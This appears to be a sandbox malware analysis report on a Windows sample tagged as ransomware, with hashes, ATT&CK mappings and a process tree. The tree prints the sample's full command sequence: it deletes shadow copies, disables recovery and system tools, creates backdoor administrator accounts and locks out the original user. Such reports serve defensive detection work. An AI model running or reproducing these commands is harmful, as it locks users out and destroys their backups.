1d7f1b23008a466560f2f708b58ac530b4170071ec4a3f702684b2701a5749e9

Analysis

user interaction
yes
max time kernel
50s
max time network
54s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-fr
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-frlocale:fr-fros:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 10:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Puppyprotect-se-V14-Proper-MS-Dickhead.exe
Size 92KB
Sample261024-mrz89abs5m
SHA256 1d7f1b23008a466560f2f708b58ac530b4170071ec4a3f702684b2701a5749e9
MD5 20a182cbb79cda1a0359110493adde6c
SHA1 376c074034bbeea1a31f49417935f91cd943c4d0
SHA512 6e32cea20b4b52cda025238b1b26f9d9c223991d4eb7b598d6174ffcfbd03cf8725040f366f64d22d0e7d0ca9fe4e8fa9f04474bcaac90e97eda95fdc1abe532
SSDEEP 1536:H7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfzwJC:b7DhdC6kzWypvaQ0FxyNTBfzd
TLSH
T1BA937D41F3E202F7EAF2053100E6712F973662389764E8EBC74C2D529953AD5A63D3E9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-53044966-3830981193-2402648431-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

Creates a new local user account 1 TTPs 6 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
2656	net1.exe
4868	net.exe
1152	net1.exe
4356	net.exe
3984	net1.exe
2164	net.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2020	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Puppyprotect-se-V14-Proper-MS-Dickhead.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6020	vssadmin.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe

Modifies registry key 1 TTPs 15 IoCs

Modify Registry

T1112

pid	Process
3096	reg.exe
6040	reg.exe
2012	reg.exe
5364	reg.exe
2724	reg.exe
3128	reg.exe
4672	reg.exe
1220	reg.exe
3380	reg.exe
432	reg.exe
5856	reg.exe
4576	reg.exe
2576	reg.exe
5200	reg.exe
1328	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeSystemEnvironmentPrivilege	1924	svchost.exe
Token: SeBackupPrivilege	4520	vssvc.exe
Token: SeRestorePrivilege	4520	vssvc.exe
Token: SeAuditPrivilege	4520	vssvc.exe
Token: SeShutdownPrivilege	3060	shutdown.exe
Token: SeRemoteShutdownPrivilege	3060	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1384	PickerHost.exe
6092	LogonUI.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 2020	4100	Puppyprotect-se-V14-Proper-MS-Dickhead.exe	90
PID 2020 wrote to memory of 6040	2020	cmd.exe	91
PID 2020 wrote to memory of 2012	2020	cmd.exe	92
PID 2020 wrote to memory of 5364	2020	cmd.exe	93
PID 2020 wrote to memory of 5168	2020	cmd.exe	94
PID 2020 wrote to memory of 5856	2020	cmd.exe	95
PID 2020 wrote to memory of 256	2020	cmd.exe	96
PID 2020 wrote to memory of 1052	2020	cmd.exe	97
PID 2020 wrote to memory of 6020	2020	cmd.exe	99
PID 2020 wrote to memory of 1328	2020	cmd.exe	102
PID 2020 wrote to memory of 4672	2020	cmd.exe	103
PID 2020 wrote to memory of 1220	2020	cmd.exe	104
PID 2020 wrote to memory of 4576	2020	cmd.exe	105
PID 2020 wrote to memory of 2576	2020	cmd.exe	106
PID 2020 wrote to memory of 3380	2020	cmd.exe	107
PID 2020 wrote to memory of 5200	2020	cmd.exe	108
PID 2020 wrote to memory of 2724	2020	cmd.exe	109
PID 2020 wrote to memory of 2164	2020	cmd.exe	110
PID 2164 wrote to memory of 2656	2164	net.exe	111
PID 2020 wrote to memory of 2804	2020	cmd.exe	112
PID 2804 wrote to memory of 1872	2804	net.exe	113
PID 2020 wrote to memory of 1532	2020	cmd.exe	114
PID 1532 wrote to memory of 5752	1532	net.exe	115
PID 2020 wrote to memory of 4868	2020	cmd.exe	116
PID 4868 wrote to memory of 1152	4868	net.exe	117
PID 2020 wrote to memory of 2388	2020	cmd.exe	118
PID 2388 wrote to memory of 1664	2388	net.exe	119
PID 2020 wrote to memory of 3664	2020	cmd.exe	120
PID 3664 wrote to memory of 1356	3664	net.exe	121
PID 2020 wrote to memory of 4356	2020	cmd.exe	122
PID 4356 wrote to memory of 3984	4356	net.exe	123
PID 2020 wrote to memory of 5544	2020	cmd.exe	124
PID 5544 wrote to memory of 5748	5544	net.exe	125
PID 2020 wrote to memory of 768	2020	cmd.exe	126
PID 768 wrote to memory of 2108	768	net.exe	127
PID 2020 wrote to memory of 3644	2020	cmd.exe	128
PID 3644 wrote to memory of 4664	3644	net.exe	129
PID 2020 wrote to memory of 4328	2020	cmd.exe	130
PID 4328 wrote to memory of 5996	4328	net.exe	131
PID 2020 wrote to memory of 5756	2020	cmd.exe	132
PID 5756 wrote to memory of 1196	5756	net.exe	133
PID 2020 wrote to memory of 4400	2020	cmd.exe	134
PID 4400 wrote to memory of 3696	4400	net.exe	135
PID 2020 wrote to memory of 1824	2020	cmd.exe	136
PID 1824 wrote to memory of 3288	1824	net.exe	137
PID 2020 wrote to memory of 3096	2020	cmd.exe	138
PID 2020 wrote to memory of 432	2020	cmd.exe	139
PID 2020 wrote to memory of 3128	2020	cmd.exe	140
PID 2020 wrote to memory of 3060	2020	cmd.exe	141

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Puppyprotect-se-V14-Proper-MS-Dickhead.exe
"C:\Users\Admin\AppData\Local\Temp\Puppyprotect-se-V14-Proper-MS-Dickhead.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\764F.tmp\7650.tmp\7651.bat C:\Users\Admin\AppData\Local\Temp\Puppyprotect-se-V14-Proper-MS-Dickhead.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:6040
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v NoPropertiesMyComputer /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2012
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5364
- - C:\Windows\system32\reg.exe
    REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 0 /f
    3⤵
    PID:5168
- - C:\Windows\system32\reg.exe
    REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell /v DisablePowerShell /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5856
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:256
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:1052
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6020
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\MMC /f
    3⤵
    - Modifies registry key
    PID:1328
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\MMC /v RestrictToPermittedSnapins /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4672
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Policies\Microsoft\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033} /v Restrict_Run /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1220
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Policies\Microsoft\MMC\{90087284-d6d6-11d0-8353-00a0c90640bf} /v Restrict_Run /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4576
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Policies\Microsoft\MMC\{975797FC-4E2A-11D0-B702-00C04FD8DBF7} /v Restrict_Run /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2576
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Policies\Microsoft\MMC\{803E14A0-B4FB-11D0-A0D0-00A0C90F574B} /v Restrict_Run /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3380
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3} /v Restrict_Run /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5200
- - C:\Windows\system32\reg.exe
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v NoConnectedUser /t REG_DWORD /d 3 /f
    3⤵
    - Modifies registry key
    PID:2724
- - C:\Windows\system32\net.exe
    net user mummyqueen mummyqueen208 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user mummyqueen mummyqueen208 /add
      4⤵
      Creates a new local user account
      PID:2656
- - C:\Windows\system32\net.exe
    net localgroup administrators mummyqueen /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators mummyqueen /add
      4⤵
      PID:1872
- - C:\Windows\system32\net.exe
    net user mummyqueen /active:yes
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user mummyqueen /active:yes
      4⤵
      PID:5752
- - C:\Windows\system32\net.exe
    net user puppyuser mummysbitch /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user puppyuser mummysbitch /add
      4⤵
      Creates a new local user account
      PID:1152
- - C:\Windows\system32\net.exe
    net localgroup users puppyuser /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup users puppyuser /add
      4⤵
      PID:1664
- - C:\Windows\system32\net.exe
    net user puppyuser /active:yes
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user puppyuser /active:yes
      4⤵
      PID:1356
- - C:\Windows\system32\net.exe
    net user puppyadmin woofmummy208 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user puppyadmin woofmummy208 /add
      4⤵
      Creates a new local user account
      PID:3984
- - C:\Windows\system32\net.exe
    net localgroup administrators puppyadmin /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5544
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators puppyadmin /add
      4⤵
      PID:5748
- - C:\Windows\system32\net.exe
    net user puppyadmin /active:yes
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user puppyadmin /active:yes
      4⤵
      PID:2108
- - C:\Windows\system32\net.exe
    net localgroup users Admin /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup users Admin /add
      4⤵
      PID:4664
- - C:\Windows\system32\net.exe
    net localgroup administrators Admin /delete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4328
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators Admin /delete
      4⤵
      PID:5996
- - C:\Windows\system32\net.exe
    net user Admin imadumbbitch
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Admin imadumbbitch
      4⤵
      PID:1196
- - C:\Windows\system32\net.exe
    net user Admin /active:no
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Admin /active:no
      4⤵
      PID:3696
- - C:\Windows\system32\net.exe
    net accounts /maxpwage:unlimited
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 accounts /maxpwage:unlimited
      4⤵
      PID:3288
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Policies\Microsoft\Windows\System /f
    3⤵
    - Modifies registry key
    PID:3096
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:432
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    - Modifies registry key
    PID:3128
- - C:\Windows\system32\shutdown.exe
    Shutdown /r /t 30
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4520

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1384

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39c2055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:6092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:3676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Password Policy Discovery

T1201

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

7651.bat

Path C:\Users\Admin\AppData\Local\Temp\764F.tmp\7650.tmp\7651.bat
Size 2KB
SHA256 0e08ce6148bb6b7c0fa70a2fbfedad7e0e7adcfd76af6d95cae3874e5a67567c
MD5 538f4b016ab1a2d002bdf15ae8a75dbd
SHA1 f911bb673fdfa89217f344584088e45c5038c4e6
SHA512 507f3cfefa148eb1edfd93919d38c858c716b24c781bea934b5288ab1903c9461c66250534be55602e54f3db71945ee838baf4a2c2b6b77c0560c404f8e4850b
TLSH
T13A51317041DBC262AAA1FB807D451853C7BB724BB095A3A738D93225521F2CDCD3D4EB
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4100-0-0x0000000000417000-0x0000000000418000-memory.dmp

Download